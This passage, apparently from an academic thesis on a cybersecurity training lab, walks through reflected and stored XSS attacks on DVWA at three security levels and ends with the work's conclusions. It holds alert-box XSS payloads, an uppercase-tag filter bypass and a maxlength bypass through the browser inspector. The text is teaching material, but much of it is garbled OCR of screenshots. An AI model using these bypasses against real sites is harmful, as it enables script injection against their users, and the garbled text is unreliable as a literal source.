<div class="body padded"=
<hl>Vulnerability: Reflected Cross Site Scripting (XS55)</hl>
<div class="vulnerable code area"=>
<form name="X55" action="#" method="GET">

<p=What's your name?</p>

<input type="text" name="name"=
<input type="submit" value="Submit"=

</form=
<pre=Hello alert("[Hil St LR )</script=</pre=>
</div>

<h2>=More info</h2>

<yl>
L ]

Reflected X5S Test ~ ~ | Highlight All Match Case Match Djacritics Whole Words

Fig 9.18: Medium-Security Level Reflected XSS HTML Source Code

The payload “<script>alert("Reflected XSS Test")</script>" becomes “alert("Reflected XSS
Test ")</script>" after filtering the “<script>"" tag. Because the “<script>" tag is a container
tag, it must have both an opening and closing tag to be executed. This is why the payload failed

to work.
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The filtering can be bypassed by capitalizing the “<scripit>" tag. Use the payload below to
test it.

<SCRIPT>alert("Reflected XSS Test")</SCRIPT>

Damn Vulnerable web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XS5S) - Mozilla Firefox (on attacker_1) — O

+ Damn Vulnerable Wet X | http://10.10.10.3/dvwa/v X | +

(—% X @ © | & 10.10.10.3/dvwa/vulnerabilities/xss_r/fTname=<SCRIPT>alert("Reflec ++ ©& ¥ n o & =

™ Kali Linux # Kali Tools [ Kali Docs ¥ Kali Forums [ Kali NetHunter = Exploit-DB % Google Hacking DB L Offsec

Reflected XSS Test

Read 10.10.10.3

Fig 9.19: Reflected Cross Site Scripting Test 3

The Reflected XSS vulnerability at the medium-security level is successfully exploited using

the payload.

129



High-security Level

To exploit Reflected XSS at the high-security level, click on the “DVWA Security” tab, then

change

<«

Damn Vulnerable web X | +

7 Kali Linux # Kali Tools [ Kali Docs £X Kali Forums {&¥ Kali NetHunter = Exploit-DB % Google Hacking DB L OffSec

the security level to “high” and click the “Submit” button.

Damn Vulnerable wWeb App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox (on attacker_1)

c © | & 10.10.10.3/dvwa/security.php B | - o m o & =

Home DVWA Security @«
Instructions

Setup Script Security

Security Level is currently high.
Brute Force

You can set the security level to low. medium or high
Command Execution

The security level changes the vulnerability level of DVWA.
CSRF
File Inclusion high
SOL Injection
SQL Injection (Blind)

PHPIDS
upload
e v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
== 1 You can enable PHPIDS across this site for the duration of your session.

PHPIDS is current itly disabled. [ 1
[ ovwa security [N 1ot )
PHP Info
About

Logout

~ Submit

Security level set to high

username: admin
Security Level: high
PHPIDS: disabled

Fig 9.20: Change the Security Level of DVWA to High

Now, go to the "XSS reflected" tab and try to exploit the web page with the JavaScript script
that was used at the medium-security level. But no pop-up window appears this time. Now

click on the “View Source” button in the bottom right corner of the “Vulnerability: Reflected

Cross Site Scripting (XSS)” page to see what the application is doing at the high-security level.

]}

Damn Vulnerable wWeb App (DVWA) v1.0.7 :: Source - Mozilla Firefox (on attacker_1) —

)

}

7=

Reflected XSS Source

<?php

if(ltarray_key exists ("name", $ GET) || $ GET['name']l == NULL || % GET['name'] == ""){
sisempty = true;

} else {
echo '"=pre="';

echo 'Hello ' . htmlspecialchars($ _GET['name']};
echo '<=/pre=';

% 10.10.10.3/dvwa/vulnerabilities/view_source.php?id=xss_r&security= ==+ w

Compare

Fig 9.21: High-Security Level Reflected XSS Source Code
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The high-security level’s source script includes htmlspecialchars() function to convert some
predefined characters “&”, “"”, “", “<” and “>" to HTML entities to prevent browsers from
using them as HTML elements. To see how the browser handles the input, press “CTRL+U”
and find “Reflected XSS Test”.

http://10.10.10.3/dvwafvulnerabilities/xss_rftTname=%3Cscript%3Ealert%28%22Reflected... - O

B Damn vulnerable Wel X | http://10.10.10.3/dvwa/v X | +

c o & view-source:http://10.10.10.3/dvwa/vu o I @ & =
) Kali Linux @ Kali Tools Kali Docs ¥ Kali Forums & Kali NetHunter % Exploit-DB »
</div>
</div=

=div id="main_body">

<div class="body padded">
<hl>Vulnerability: Reflected Cross Site Scripting (XSS)</hl>

<div class="vulnerable code area"=

<form name="X55" action="#" method="GET">
<p>What's your name?</p>
<input type="text" name="name"=
<input type="submit" value="Submit"=
</form=>

<prex=Hello &lt;scriptagt;alert(&Gquot;Reflected XSS Test&quot; )alt;/scriptégt;</pre=

</div=
<h2>More info</h2>

<yl>
L]

Reflected X5S Test ~  ~w | Highlight All Match Case Match Diacritics Whole Words 1 ¢

Fig 9.22: High-Security Level Reflected XSS HTML Source Code

The htmlspecialchars() function converts “<”to “&lt;”, “>" to “&gt;” and “"” to “&quot;” and
makes the payload unable to execute. This is why the payload failed to work and there is

currently no effective way to bypass this filter.

Step 6: Perform Stored XSS Attack at Different Security Level
Stored XSS occurs when a web application stores user-supplied data to the webserver without
filtering or sanitization. Due to the lack of filtering or sanitization, an attacker can inject
malicious scripts. This malicious script could be a legitimate XSS payload. As the inserted
malicious script is stored on the webserver, whenever a user visits the web page, the browser

executes the script. This affects not just one user, but all the users that visit the web page.

Let’s demonstrate the Stored XSS attack at different security levels of the Damn Vulnerable
Web Application (DVWA) running on Metasploitable2.
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Low-security Level

Click on the “DVWA Security” tab, then change the security level to “low” and click the

“Submit” button.

Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox (on attacker_1)

Damn Vulnerable Wel % | +

&« cC o © | & 10.10.10.3/dvwa/security.php | ixd In @O &

4 Kali Linux @ Kali Tools [B Kali Docs ¥ Kali Forums X Kali NetHunter % Exploit-DB % Google Hacking DB} OffSec

Home DVWA Security @
Instructions.

Setup Script Security

Security Level is currently low.

Brute Force )
You can set the security level to low, medium or high.
Command Execution
The security level changes the vulnerability level of DVWA.
CSRF
File Inclusion low v Submit
SQL Injection
5QL Injection (Blind) P H P | D s
Upload
XSS reflected v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
XSS stored You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently disabled. [ 1

ovwa security [ 1 ]
PHP Info
About

Logout

Security level set to low

Username: admin
Security Level: low
PHPIDS: disabled

Fig 9.23: Change the Security Level of DVWA to Low
Now click on the “XSS stored” tab. It will open the “Vulnerability: Stored Cross Site Scripting
(XSS)” page displaying a guestbook form with two fields Name and Message. And, there is
also a default entry (Name: test and Message: This is a test comment) in the guestbook. Let’s
type a random name (e.g., Test 1) and message (e.g., Stored XSS Test 1) and click the “Sign

Guestbook” button to see how the website reacts.
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Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox (on attacker 1) - O

+

© 4 10.10.10.3/dvwa/vulnerabilities/xss_s/

Damn Vulnerable wel X

<o e B -9n

™ Kali Linux & Kali Tools [ Kali Docs ¥ Kali Forums [ Kali NetHunter % Exploit-DB % Google Hacking DB} OffSec

http://10.10.10.3/dvwa/v. X

In @ &

&gg?rability: Stored Cross Site Scripting

Home
Instructions

Setup

Brute Force

Command Execution
esee |
SQL Injection

SQL Injection (Blind)
Upload

XSS reflected
EEST I
PHP Info

About

Logout |

Mame *

Message *

Sign Guestbook

Name: test
Message: This is a test comment.

Name: Test 1
Message: Stored XSS Test 1

More info

Fig 9.24: Stored Cross Site Scripting Test 1

The inputs are stored in the database successfully and are persistent. Now click on the “View

Source” button in the bottom right corner of the “Vulnerability: Stored Cross Site Scripting

(XSS)” page to see what the application is doing at the low-security level.

O

Damn Vulnerable Web App (DVWA) v1.0.7 :: Source - Mozilla Firefox (on attacker_1) —

© | £ 10.10.10.3/dvwa/vulnerabilities/view source.php?id=xss_s&security === i d
Stored XSS Source
<=?php
if(isset(%_POSTI['btnSign'1))
{
$message = trim(%_POST[ 'mtxMessage'l);
$name = trim($_POST['txtName"1);
smessage = stripslashes($message);
smessage = mysql_real_escape_stringl($message);
sname = mysql_real_escape_ string($name);
$guery = "INSERT INTO guestbook (comment,name) VALUES ('Zmessage’,'Sname’');";
$result = mysql_query(squery) or die('<pre>=' . mysql_error() ‘</pre=" );
¥
T=
Compare

Fig 9.25: Low-Security Level Stored XSS Source Code
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Though the variables “$name” and “$message” perform some sanitization before storing them in the

database, they do not perform XSS sanitization resulting in a Stored XSS vulnerability.

Let’s examine what happens if simply inject some JavaScript into the input fields. Type the

following payload in the Message input field and click the “Sign Guestbook” button.

“<script>alert(*"Stored XSS Test")</script>"

Damn Vulnerable web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox (on attacker_1) - O

= Damn Vulnerable Wel. X | http://10.10.10.3/dvwa/v X +

-:"k—:‘ae X @ @ | & 10.10.10.3/dvwa/vulnerabilities/xss s/ TR n o & =

™ Kali Linux # Kali Tools [ Kali Docs ¥ Kali Forums {3 Kali NetHunter % Exploit-DB % Google Hacking DB [ OffSec

Stored XSS Test

Read 10.10.10.3

Fig 9.26: Stored Cross-Site Scripting Test 2

The Stored XSS vulnerability at the low-security level is successfully exploited using the
payload. And the alert message will pop up every time a user visits this page unless the
developer removes the database content.
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Medium-security Level

To exploit the Stored XSS at the medium-security level, click on the “DVWA Security” tab,

then change the security level to “medium” and click the “Submit” button.

Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox (on attacker_1)

Damn Vulnerable Wel X | +

&« c @ © & 10.10.10.3/dvwa/security.php B - i d o &

™ Kali Linux £ Kali Tools Kali Docs ¥ Kali Forums @& Kali NetHunter s Exploit-DB % Google Hacking DB} OffSec

Home DVWA Security »
Instructions

Setup Script Security

Security Level is currently medium.

Brute Force .
You can set the security level to low, medium or high.
Command Execution
The security level changes the vulnerability level of DVWA.
CSRF
File Inclusion medium ¥ Submit
SQL Injection
SQL Injection (Blind) PH PIDS
Upload
XSS reflected
XSS stored You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently disabled. [ 1

[ -1 ]
PHP Info
About

Logout

v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

Security level set to medium

Username: admin
Security Level: medium
PHPIDS: disabled

Fig 9.27: Change the Security Level of DVWA to Medium

Now, go to the “XSS stored” tab and try to exploit the web page with the script used at the low-
security level. But no pop-up window appears this time. Now click on the “View Source”
button in the bottom right corner of the “Vulnerability: Stored Cross Site Scripting (XSS)”

page to see what the application is doing at the medium-security level.
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Damn Vulnerable Web App (DVWA) v1.0.7 :: Source - Mozilla Firefox (on attacker_1) -

© & 10.10.10.3/dvwa/vulnerabilities/view_source.php?id=xss_s&security=me [F] | =+ 4

Stored XSS Source

<?php

if(isset($_POSTI'btnSign'1))
{

¢message = trim(s_POST['mtxMessage']l);

$name = trim($_POST['txtName']);

$¢message = trim(strip_tags(addslashes($message)));
$message = mysql_real escape string($message);
tmessage = htmlspecialchars(smessage);

$name = str_replace('<=script=', '', $name);

$name = mysql_real escape string($name);

$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

$result = mysql_query($query) or die('=pre=' . mysql_error() . "=/pre=' );

7=

Compare

Fig 9.28: Medium-Security Level Stored XSS Source Code

The web page’s source script performs XSS filtering on the data entered in the Message field.
But the Name field only filters the “<script>" tag.

The filtering can be bypassed by capitalizing the “<scripit>" tag. Use the payload below to
test it.

“<SCRIPT>alert("Stored XSS Test")</SCRIPT>"

Because of some client-side restrictions, entering the payload in the Name field does not accept
all of the payload’s characters. The maximum number of characters a user can enter in the
Name field is 10. To bypass the character maxlength restriction, right-click on the Name field’s
input box and click the “Inspect Element (Q)” option. Double-click on the maxlength HTML

attribute of the selected line and set it to 50.
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Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox (on attacker 1) - O

B Damn Vulnerable Wel X | http://10.10.10.3/dvwa/v X | +

(&) C o © & 10.10.10.3/dvwa/vulnerabilities/xss_s/ B -9 N @ €

7 Kali Linux & Kali Tools Kali Docs X Kali Forums &Y Kali NetHunter & Exploit-DB % Google Hacking DB} OffSec

o &gg?rability: Stored Cross Site Scripting

# Name *

Bruteforce |
Command Execution HEsSagEs
CSRF
File Inclusion Sign Guestbook
SQL Injection
SQL Injection (Blind)

Name: test

b Message: This is a test comment.

® {3 Inspector Console [ Debugger 1| Network {} Style Editor () Performance {J Memory [ Storage T Accessibility »» 0] * X
Q TML + X Tre thov.cls + [@ [ Layout Computed ~
v <table width="556" cellspacing="1" cellpadding="2" border="8"> element O { intine | + Flexbox
w <tbody> 1
et input, textarea, select main.css:32 Select a Flex container
<td width="180">Name *</td> o { or item to continue.
v <td> font: b 100% arial,sans-serif; - Grid
=input name="txtNa g vertical-align: middle;
<:t/rt>d> I €SS Grid is not in use on
b <tr>Eeftrs Inherited from div#main_body this page
B <trs e/t div#main_body 4} { main.css:141 o pox Model
</tbady> fontsizer t3per T

£ v#main_body » divbody padded > div.vuinerable_code_area » form » table > thody » tr » td > input »

Fig 9.29: Change the maxlenght of the Name Field

Now try to inject the payload again.

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox (on attacker_ 1) - O

= Damn Vulnerable Wel. X | http://10.10.10.3/dvwa/v X | =+

(&) X @ © & 10.10.10.3/dvwa/vulnerabilities/xss_s/ QU Bt n @ &

™ Kali Linux @ Kali Tools [ Kali Docs ¥ Kali Forums [ Kali NetHunter % Exploit-DB % Google Hacking DB} OffSec

Stored XSS Test

Prevent this page from creating additional dialogs

Read 10.10.10.3

Fig 9.30: Stored Cross-Site Scripting Test 3

The Reflected XSS vulnerability at the medium-security level is successfully exploited using

the payload.
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High-Security Level

To exploit Stored XSS at the high-security level, click on the “DVWA Security” tab, then
change the security level to “high” and click the “Submit” button.

Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox (on attacker_1)

Damn Vulnerable we! x | +

« ¢ @ © | & 10.10.10.3/dvwa/security.php S fnd n o €

7 Kali Linux & Kali Tools BB Kali Docs §¥ Kali Forums (¥ Kali NetHunter = Exploit-DB % Google Hacking DB} Offsec

Home DVWA Security &
Instructions

Setup Script Security

Security Level is currently high.

Brute Force .
You can set the security level to low, medium or high.
Command Execution
The security level changes the vulnerability level of DVWA.
CSRF
File Inclusion high ~ Submit
SQL Injection
SQL Injection (Blind) PHPIDS
Upload

% v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

XSS stored You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently disabled. [ 1

[ovwa security [ -t !
PHP Info
About

Logout

Security level set to high

Username: admin
Security Level: high
PHPIDS: disabled

Fig 9.31: Change the Security Level of DVWA to High

Now, click on the “XSS stored” tab and try to exploit the web page with the script that was
used at the medium-security level. But no pop-up window appears this time. Now click on the
“View Source” button in the bottom right corner of the “Vulnerability: Stored Cross Site

Scripting (XSS)” page to see what the application is doing at the high-security level.
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Damn Vulnerable Web App (DVWA) v1.0.7 :: Source - Mozilla Firefox (on attacker_1)

© & 10.10.10.3/dvwa/vulnerabilities/view source.php?id=xss_s&security=high 8| - g

Stored XSS Source

=?php

if(isset($_POST['btnSign'1))

{
$message = trim(s_POST['mtxMessage']l);
$name = trim($_POST['txtName']);
$message = stripslashes($message);
smessage = mysql_real escape string($message);
émessage = htmlspecialchars(smessage);
$name = stripslashes($name);
$name = mysqgl _real escape string($name);
$name = htmlspecialchars($name);

$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

$result = mysql_query(squery) or die('<pre=' . mysql_error() . '</pre=' };

=

Compare

Fig 9.32: High-Security Level Stored XSS Source Code

At the high-security level, the web application performs XSS sanitization on the inputted data
of both the Name and the Message fields. This is why the payload did not work and there is

currently no effective way to bypass this sanitization.
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Chapter 10

Conclusions and Future Works

10.1 Conclusions

A cyber security educational and research training program that is supported by a real-world
based lab environment will have a long-term impact on the long-term trend in both graduate
cyber security programs and the cyber security workforce. In a real-world based lab
environment, students will be encouraged to think critically and conduct research while gaining
practical and professional understanding of numerous elements of cyber security [2]. The
traditional approach to setting up a cybersecurity lab was to use one operating system per
physical computer. Multiple isolated operating systems can be operated in a virtual
environment with the help of hardware virtualization technologies. Though hardware
virtualization uses lots of resources of the host machine, it enables rapid testing and
experimentation without the inconveniences of installing an operating system on traditional
hardware [5]. Containerization technologies like Docker have a lot of features and benefits that
make them a good fit for cybersecurity lab environment. Docker makes it simple to install a
wide range of programs in a container and to push and pull images to and from a central
repository [3]. The isolation provided by Hardware virtualization and efficient resource sharing
of Operating system virtualization makes running containers inside VMs a viable architecture

for a cybersecurity lab environment [4].

10.2 Future Works

Using the proposed cybersecurity lab environment, a total of seven cyber security lab exercises
have been designed and evaluated. More cyber security labs will be developed and tested in
the future for additional research and development.

Finally, this proposed model will be tested in a variety of graduate cybersecurity courses to
determine its efficiency and efficacy, and it will be improved depending on feedback from

instructors and students.
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